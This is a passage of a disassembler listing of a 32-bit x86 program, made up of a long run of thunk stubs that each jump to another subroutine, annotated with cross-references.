noreturn thunk sub_401BF4 proc near ; CODE XREF: ___:0041433Cp jmp sub_414430 sub_401BF4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401BF9 proc near jmp sub_40C440 sub_401BF9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401BFE proc near ; CODE XREF: sub_425100+8Bp jmp sub_424920 sub_401BFE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C03 proc near ; CODE XREF: ___:0040B1FEp ; sub_40B250+34p ... jmp sub_40BEB0 sub_401C03 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401C08 proc near ; CODE XREF: sub_40B190+5Cp jmp sub_40BD50 sub_401C08 endp ; --------------------------------------------------------------------------- jmp loc_433AB0 ; --------------------------------------------------------------------------- jmp loc_432410 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C17 proc near ; CODE XREF: sub_431DC0+20p ; sub_431EF0+20p ... jmp sub_431980 sub_401C17 endp ; --------------------------------------------------------------------------- jmp loc_430020 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401C21 proc near jmp sub_435AA0 sub_401C21 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C26 proc near ; CODE XREF: sub_4138B0+84p ; sub_434D10+3Cp ... jmp sub_434C30 sub_401C26 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C2B proc near ; CODE XREF: ___:0042D7C8p jmp sub_42C350 sub_401C2B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C30 proc near ; CODE XREF: sub_42BB00+446p jmp sub_42B8E0 sub_401C30 endp ; --------------------------------------------------------------------------- jmp loc_41B720 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C3A proc near ; CODE XREF: ___:00432546p ; sub_4344C0+23p jmp sub_432DB0 sub_401C3A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C3F proc near ; DATA XREF: ___:off_43F12Co jmp sub_4292E0 sub_401C3F endp ; --------------------------------------------------------------------------- jmp loc_41FD80 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C49 proc near ; CODE XREF: sub_41B0E0+8p ; ___:0041B49Dp ... jmp sub_41A110 sub_401C49 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C4E proc near ; CODE XREF: sub_42B3F0+3p jmp sub_42B420 sub_401C4E endp ; --------------------------------------------------------------------------- jmp loc_41AE80 ; --------------------------------------------------------------------------- jmp loc_416A90 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401C5D proc near ; CODE XREF: sub_40BE70+1Fp jmp sub_40BFA0 sub_401C5D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C62 proc near ; CODE XREF: sub_415B00+9p ; sub_415C20+18p jmp sub_4166D0 sub_401C62 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401C67 proc near ; CODE XREF: sub_418D50+4p jmp sub_419070 sub_401C67 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C6C proc near ; CODE XREF: sub_4073C0+11p ; ___:004073E7p ... jmp sub_407570 sub_401C6C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C71 proc near ; CODE XREF: sub_404CC0+111p ; sub_40D660+42p ... jmp sub_40A2D0 sub_401C71 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C76 proc near ; CODE XREF: ___:0041326Ap ; sub_4132F0+3Cp ... jmp sub_4158D0 sub_401C76 endp ; --------------------------------------------------------------------------- jmp loc_42FCB0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C80 proc near ; CODE XREF: sub_4269A0+69p jmp sub_426B10 sub_401C80 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C85 proc near ; CODE XREF: sub_40B600+2Fp ; sub_40B600+6Ep ... jmp sub_40BE40 sub_401C85 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C8A proc near ; CODE XREF: ___:00430078p ; ___:0043008Dp ... jmp sub_433FB0 sub_401C8A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401C8F proc near ; CODE XREF: sub_415450+11p ; sub_415ED0+1Fp jmp sub_4160C0 sub_401C8F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401C94 proc near ; DATA XREF: ___:0043F0D4o jmp sub_41D930 sub_401C94 endp ; --------------------------------------------------------------------------- jmp loc_419A10 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C9E proc near ; CODE XREF: sub_4073C0+9p ; sub_418E80+18p jmp sub_407610 sub_401C9E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401CA3 proc near ; CODE XREF: sub_4132C0+3p ; ___:00416C3Bp ... jmp sub_4132F0 sub_401CA3 endp ; --------------------------------------------------------------------------- jmp loc_40B8F0 ; --------------------------------------------------------------------------- loc_401CAD: ; DATA XREF: ___:off_43F05Co jmp loc_416D90 ; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_4. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401CB7 proc near ; CODE XREF: ___:00416F6Ap jmp sub_4182B0 sub_401CB7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401CBC proc near ; CODE XREF: sub_415BA0+Cp ; sub_415BA0+43p jmp sub_4166A0 sub_401CBC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401CC1 proc near ; CODE XREF: sub_4096E0+45p jmp sub_4099C0 sub_401CC1 endp ; --------------------------------------------------------------------------- jmp loc_434430 ; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_1. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401CD0 proc near ; CODE XREF: sub_410030+3A4p jmp sub_40A0E0 sub_401CD0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401CD5 proc near ; CODE XREF: sub_4077E0+6C2p ; ___:00407F49p ... jmp sub_407740 sub_401CD5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401CDA proc near ; CODE XREF: sub_415500+14p ; sub_415540+9p ... jmp sub_416190 sub_401CDA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401CDF proc near ; CODE XREF: sub_4096E0+144p jmp sub_409A50 sub_401CDF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401CE4 proc near ; CODE XREF: sub_404690+1C2p ; sub_404B60+36p ... jmp sub_4134A0 sub_401CE4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401CE9 proc near ; CODE XREF: sub_4151C0+34p ; sub_415C20+67p jmp sub_415DC0 sub_401CE9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401CEE proc near jmp sub_409B80 sub_401CEE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401CF3 proc near ; DATA XREF: ___:0043F06Co jmp sub_41FD00 sub_401CF3 endp ; --------------------------------------------------------------------------- jmp loc_42F3A0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401CFD proc near ; CODE XREF: sub_40BF70+5p jmp sub_40C1D0 sub_401CFD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401D02 proc near ; CODE XREF: ___:0043242Fp jmp sub_430520 sub_401D02 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D07 proc near ; CODE XREF: sub_421E50+11p ; ___:00421E77p ... jmp sub_422400 sub_401D07 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401D0C proc near ; DATA XREF: ___:0043F048o jmp sub_4132C0 sub_401D0C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401D11 proc near ; CODE XREF: sub_415890+1Fp jmp sub_416220 sub_401D11 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D16 proc near ; CODE XREF: sub_40F6D0+1ACp ; sub_40F6D0+1EDp ... jmp sub_40F660 sub_401D16 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D1B proc near ; CODE XREF: sub_413E70+15Cp jmp sub_414160 sub_401D1B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D20 proc near ; CODE XREF: sub_404C70+23p ; sub_410030+13C2p jmp sub_412BF0 sub_401D20 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D25 proc near ; CODE XREF: ___:00416F2Fp jmp sub_418150 sub_401D25 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401D2A proc near ; CODE XREF: sub_407590+7p ; sub_40C2E0+7p ... jmp sub_407630 sub_401D2A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D2F proc near ; CODE XREF: sub_40A8F0+1Ap ; sub_40A9A0+4p ... jmp sub_40A960 sub_401D2F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D34 proc near ; CODE XREF: sub_404690+289p ; sub_404690+2ADp ... jmp sub_40A180 sub_401D34 endp ; --------------------------------------------------------------------------- jmp loc_4305A0 ; --------------------------------------------------------------------------- loc_401D3E: ; DATA XREF: ___:0043F154o jmp loc_4295B0 ; --------------------------------------------------------------------------- jmp loc_42F970 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401D48 proc near jmp sub_404010 sub_401D48 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D4D proc near ; CODE XREF: sub_4120B0+123p ; sub_4120B0+1E2p jmp sub_412780 sub_401D4D endp ; --------------------------------------------------------------------------- jmp loc_41B570 ; --------------------------------------------------------------------------- jmp loc_40B870 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D5C proc near ; CODE XREF: sub_421D80+5p jmp sub_4222E0 sub_401D5C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D61 proc near ; CODE XREF: sub_415F70+5Fp jmp sub_416790 sub_401D61 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D66 proc near ; CODE XREF: sub_41D930+2C7p jmp sub_42FD30 sub_401D66 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401D6B proc near ; CODE XREF: sub_418CA0+7p jmp sub_418F40 sub_401D6B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D70 proc near ; CODE XREF: sub_413740+5Dp ; sub_413740+9Bp ... jmp sub_415420 sub_401D70 endp ; --------------------------------------------------------------------------- jmp loc_437390 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D7A proc near ; CODE XREF: sub_415820+14p ; sub_415860+9p ... jmp sub_4164E0 sub_401D7A endp ; --------------------------------------------------------------------------- jmp loc_40B960 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401D84 proc near ; CODE XREF: sub_4341C0+98p jmp sub_431950 sub_401D84 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D89 proc near ; CODE XREF: sub_421C60+14p ; sub_421CA0+9p ... jmp sub_4222B0 sub_401D89 endp ; --------------------------------------------------------------------------- jmp loc_42DAD0 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401D93 proc near jmp sub_41C490 sub_401D93 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D98 proc near ; CODE XREF: sub_418AB0+14p ; sub_418AF0+9p ... jmp sub_418E20 sub_401D98 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D9D proc near ; CODE XREF: sub_413740+53p ; sub_413740+91p ... jmp sub_415270 sub_401D9D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401DA2 proc near ; CODE XREF: sub_422B40+56p jmp sub_426B90 sub_401DA2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401DA7 proc near ; CODE XREF: sub_422B40+18Ap jmp sub_426A90 sub_401DA7 endp ; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_6. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401DB1 proc near ; CODE XREF: sub_429330+81p jmp sub_428DC0 sub_401DB1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401DB6 proc near ; CODE XREF: sub_415770+11p ; sub_416220+1Fp jmp sub_416410 sub_401DB6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401DBB proc near ; CODE XREF: sub_415230+14p ; sub_415270+9p ... jmp sub_415E40 sub_401DBB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401DC0 proc near ; CODE XREF: ___:004147E3p jmp sub_4145A0 sub_401DC0 endp ; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_3. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- jmp loc_425DC0 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401DCF proc near ; CODE XREF: sub_428260+90p jmp sub_428810 sub_401DCF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401DD4 proc near ; CODE XREF: ___:0042C468p jmp sub_42C1B0 sub_401DD4 endp ; --------------------------------------------------------------------------- jmp loc_4141F0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401DDE proc near ; CODE XREF: sub_434AD0+74p jmp sub_432AE0 sub_401DDE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401DE3 proc near ; CODE XREF: sub_41FB90+1Dp jmp sub_40B150 sub_401DE3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401DE8 proc near ; CODE XREF: sub_40AAD0+45p jmp sub_40AD50 sub_401DE8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401DED proc near ; CODE XREF: ___:0043062Dp ; ___:00430752p ... jmp sub_432C80 sub_401DED endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401DF2 proc near ; CODE XREF: ___:00426F24p jmp sub_4281A0 sub_401DF2 endp ; --------------------------------------------------------------------------- jmp loc_432D50 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401DFC proc near ; CODE XREF: sub_410030+AE7p ; sub_410030+E5Dp jmp sub_41EF70 sub_401DFC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E01 proc near ; CODE XREF: sub_40AD80+Ap jmp sub_40AE70 sub_401E01 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E06 proc near ; CODE XREF: ___:00416B3Bp ; ___:0043B27Aj ... jmp sub_417BE0 sub_401E06 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401E0B proc near ; CODE XREF: sub_421F80+4p jmp sub_422420 sub_401E0B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E10 proc near ; CODE XREF: sub_40C4E0+271p ; sub_425100+50p ... jmp sub_423760 sub_401E10 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E15 proc near ; CODE XREF: ___:0041627Ap jmp sub_416860 sub_401E15 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401E1A proc near ; CODE XREF: sub_415DC0+7p jmp sub_4165C0 sub_401E1A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401E1F proc near ; CODE XREF: sub_41D930+19Bp jmp sub_42DA80 sub_401E1F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E24 proc near ; CODE XREF: sub_404CC0+835p ; sub_404CC0+B62p ... jmp sub_4129D0 sub_401E24 endp ; --------------------------------------------------------------------------- jmp sub_4132C0 ; --------------------------------------------------------------------------- jmp sub_429510 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401E33 proc near ; CODE XREF: sub_415490+34p ; sub_415F70+67p jmp sub_416110 sub_401E33 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E38 proc near ; CODE XREF: sub_413740+31p ; sub_4145A0+2Dp jmp sub_4153B0 sub_401E38 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E3D proc near ; CODE XREF: sub_40CC90+1F1p ; ___:00423FBFp ... jmp sub_426930 sub_401E3D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E42 proc near ; CODE XREF: sub_4159F0+3p jmp sub_4164C0 sub_401E42 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E47 proc near ; CODE XREF: sub_404690+97p ; sub_404690+107p ... jmp sub_40A4A0 sub_401E47 endp ; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_5. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- jmp loc_426020 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E56 proc near ; CODE XREF: ___:00423DFAp jmp sub_423950 sub_401E56 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E5B proc near ; CODE XREF: ___:00421E0Ap jmp sub_422310 sub_401E5B endp ; --------------------------------------------------------------------------- jmp loc_416E30 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401E65 proc near jmp sub_4368D0 sub_401E65 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E6A proc near ; DATA XREF: ___:off_43F098o jmp sub_4369E0 sub_401E6A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E6F proc near ; CODE XREF: ___:004337FFp jmp sub_4310A0 sub_401E6F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E74 proc near ; CODE XREF: sub_4166A0+5p jmp sub_4168F0 sub_401E74 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E79 proc near ; CODE XREF: sub_404CC0+28Dp ; sub_41D930+6A3p jmp sub_40DC20 sub_401E79 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E7E proc near ; CODE XREF: sub_422510+5Fp jmp sub_422700 sub_401E7E endp ; --------------------------------------------------------------------------- jmp loc_419F90 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E88 proc near ; CODE XREF: sub_40F6D0+22p ; sub_411930+1Dp ... jmp sub_40AEA0 sub_401E88 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E8D proc near ; CODE XREF: sub_40AAD0+112p ; sub_40AAD0+153p jmp sub_40ADB0 sub_401E8D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E92 proc near ; DATA XREF: ___:off_43F0C0o jmp sub_41B110 sub_401E92 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E97 proc near ; CODE XREF: sub_4156D0+3p jmp sub_416170 sub_401E97 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E9C proc near ; CODE XREF: sub_427C50+1Ap jmp sub_427B10 sub_401E9C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401EA1 proc near ; CODE XREF: ___:00416C0Bp ; ___:0043B1C4j ... jmp sub_4176E0 sub_401EA1 endp ; --------------------------------------------------------------------------- jmp loc_4331B0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401EAB proc near ; CODE XREF: sub_4201F0+3Ap jmp sub_420400 sub_401EAB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401EB0 proc near ; DATA XREF: ___:0043F114o jmp sub_428260 sub_401EB0 endp ; --------------------------------------------------------------------------- jmp loc_433AF0 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401EBA proc near ; CODE XREF: sub_416410+4p jmp sub_416810 sub_401EBA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401EBF proc near ; CODE XREF: sub_415920+5Bp ; sub_4162C0+11p ... jmp sub_416510 sub_401EBF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401EC4 proc near ; CODE XREF: sub_415740+5p jmp sub_4161F0 sub_401EC4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401EC9 proc near ; CODE XREF: sub_424920+151p jmp sub_4248E0 sub_401EC9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401ECE proc near ; CODE XREF: ___:00416BABp ; ___:0043B218j ... jmp sub_417930 sub_401ECE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401ED3 proc near ; CODE XREF: sub_4153B0+3p jmp sub_415E20 sub_401ED3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401ED8 proc near ; CODE XREF: sub_415100+11p ; sub_415140+13p ... jmp sub_415D70 sub_401ED8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401EDD proc near ; CODE XREF: sub_421A60+14p ; sub_421AA0+9p ... jmp sub_422050 sub_401EDD endp ; --------------------------------------------------------------------------- jmp loc_418960 ; --------------------------------------------------------------------------- jmp loc_41C350 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401EEC proc near ; CODE XREF: sub_418F90+18p ; sub_421DB0+9p jmp sub_419150 sub_401EEC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401EF1 proc near ; CODE XREF: sub_422640+Ap jmp sub_4227E0 sub_401EF1 endp ; --------------------------------------------------------------------------- jmp loc_41BD50 ; --------------------------------------------------------------------------- jmp loc_433BA0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F00 proc near ; CODE XREF: ___:00416B0Bp ; ___:0043B2A4j ... jmp sub_417C20 sub_401F00 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F05 proc near ; CODE XREF: sub_40A8F0+13p jmp loc_40AA30 sub_401F05 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F0A proc near ; CODE XREF: sub_41B160:loc_41B1ACp ; sub_41BA50+54p ... jmp sub_4199A0 sub_401F0A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401F0F proc near ; CODE XREF: ___:00414395p jmp sub_415570 sub_401F0F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401F14 proc near ; CODE XREF: sub_4157B0+34p ; sub_4162C0+67p jmp sub_416460 sub_401F14 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F19 proc near ; CODE XREF: sub_4153D0+3p ; ___:00415B4Fp ... jmp sub_415E00 sub_401F19 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401F1E proc near jmp sub_412CE0 sub_401F1E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401F23 proc near ; CODE XREF: sub_4131F0+4Dp jmp sub_415450 sub_401F23 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F28 proc near ; CODE XREF: sub_407140+5Cp ; sub_418F60+3p jmp sub_407360 sub_401F28 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401F2D proc near ; CODE XREF: ___:00419203p jmp sub_419270 sub_401F2D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F32 proc near ; CODE XREF: ___:0040BFFAp jmp sub_40C330 sub_401F32 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F37 proc near ; CODE XREF: ___:0042C44Fp jmp sub_42C0A0 sub_401F37 endp ; --------------------------------------------------------------------------- loc_401F3C: ; DATA XREF: ___:off_43F08Co jmp loc_435B90 ; --------------------------------------------------------------------------- loc_401F41: ; DATA XREF: ___:00424194o jmp loc_423D10 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F46 proc near ; CODE XREF: ___:00416B6Bp ; ___:0043B250j ... jmp sub_417B40 sub_401F46 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F4B proc near ; CODE XREF: sub_413C40+99p jmp sub_413E10 sub_401F4B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F50 proc near ; CODE XREF: sub_40B470+3Dp ; ___:0040BC0Dp ... jmp sub_40B7E0 sub_401F50 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F55 proc near ; CODE XREF: ___:loc_423DA7p jmp sub_423820 sub_401F55 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F5A proc near ; CODE XREF: sub_404CC0+A38p jmp sub_4068E0 sub_401F5A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F5F proc near ; DATA XREF: ___:off_43F1A0o jmp sub_42C640 sub_401F5F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401F64 proc near ; CODE XREF: sub_413A80+72p jmp sub_413740 sub_401F64 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F69 proc near ; CODE XREF: sub_418430+5Fp ; sub_418A40+1Ap ... jmp sub_418AB0 sub_401F69 endp ; --------------------------------------------------------------------------- jmp loc_430290 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F73 proc near ; CODE XREF: sub_42F6F0+B5p jmp sub_42E5B0 sub_401F73 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F78 proc near ; CODE XREF: sub_40B600+4Bp ; sub_40B600:loc_40B68Bp ... jmp sub_40BF20 sub_401F78 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401F7D proc near jmp sub_41E500 sub_401F7D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F82 proc near ; CODE XREF: sub_40A510+142p jmp sub_40A8F0 sub_401F82 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F87 proc near ; CODE XREF: sub_404690+35Dp ; sub_404690+39Ep jmp sub_404B60 sub_401F87 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F8C proc near ; CODE XREF: sub_415ED0+9p ; sub_415F70+18p jmp sub_4167D0 sub_401F8C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F91 proc near ; CODE XREF: sub_432E20+1Bp jmp sub_432ED0 sub_401F91 endp ; --------------------------------------------------------------------------- jmp loc_42C2C0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F9B proc near ; CODE XREF: sub_427740+1Dp ; sub_427C90+1Dp ... jmp sub_4277B0 sub_401F9B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401FA0 proc near ; CODE XREF: sub_4290B0+1Dp ; sub_429450+1Fp ... jmp sub_429120 sub_401FA0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401FA5 proc near ; CODE XREF: ___:0042B063p jmp sub_42B090 sub_401FA5 endp ; --------------------------------------------------------------------------- jmp loc_406C20 ; --------------------------------------------------------------------------- jmp loc_40D540 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401FB4 proc near ; CODE XREF: sub_4096E0+112p ; sub_4096E0+153p jmp sub_409A20 sub_401FB4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401FB9 proc near ; CODE XREF: sub_422700+5p jmp sub_422870 sub_401FB9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401FBE proc near ; CODE XREF: sub_407390+5p jmp sub_407540 sub_401FBE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401FC3 proc near ; CODE XREF: sub_413740+6Fp ; sub_413740+DBp ... jmp sub_4153D0 sub_401FC3 endp ; --------------------------------------------------------------------------- jmp loc_42CB20 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401FCD proc near ; CODE XREF: sub_4152E0+6Ap ; sub_415CE0+32p jmp sub_415C20 sub_401FCD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401FD2 proc near jmp sub_40F100 sub_401FD2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401FD7 proc near ; CODE XREF: sub_412BF0+3p jmp sub_412C20 sub_401FD7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401FDC proc near ; CODE XREF: sub_404690+48p ; sub_404690+5Dp ... jmp sub_409E00 sub_401FDC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401FE1 proc near ; DATA XREF: ___:off_43F090o jmp sub_419A50 sub_401FE1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401FE6 proc near ; CODE XREF: sub_41A1E0+3p ; sub_41B140+9j ... jmp sub_41A210 sub_401FE6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401FEB proc near ; CODE XREF: sub_40BD90+34p ; sub_40C200+67p jmp sub_40C120 sub_401FEB endp ; --------------------------------------------------------------------------- jmp loc_433980 ; --------------------------------------------------------------------------- loc_401FF5: ; DATA XREF: ___:off_43F094o jmp loc_436570 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401FFA proc near jmp sub_40F180 sub_401FFA endp ; --------------------------------------------------------------------------- jmp loc_4375F0 ; --------------------------------------------------------------------------- loc_402004: ; DATA XREF: ___:0043F03Co jmp loc_41EEB0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402009 proc near ; CODE XREF: sub_41F960+5Ap jmp sub_420040 sub_402009 endp ; --------------------------------------------------------------------------- jmp 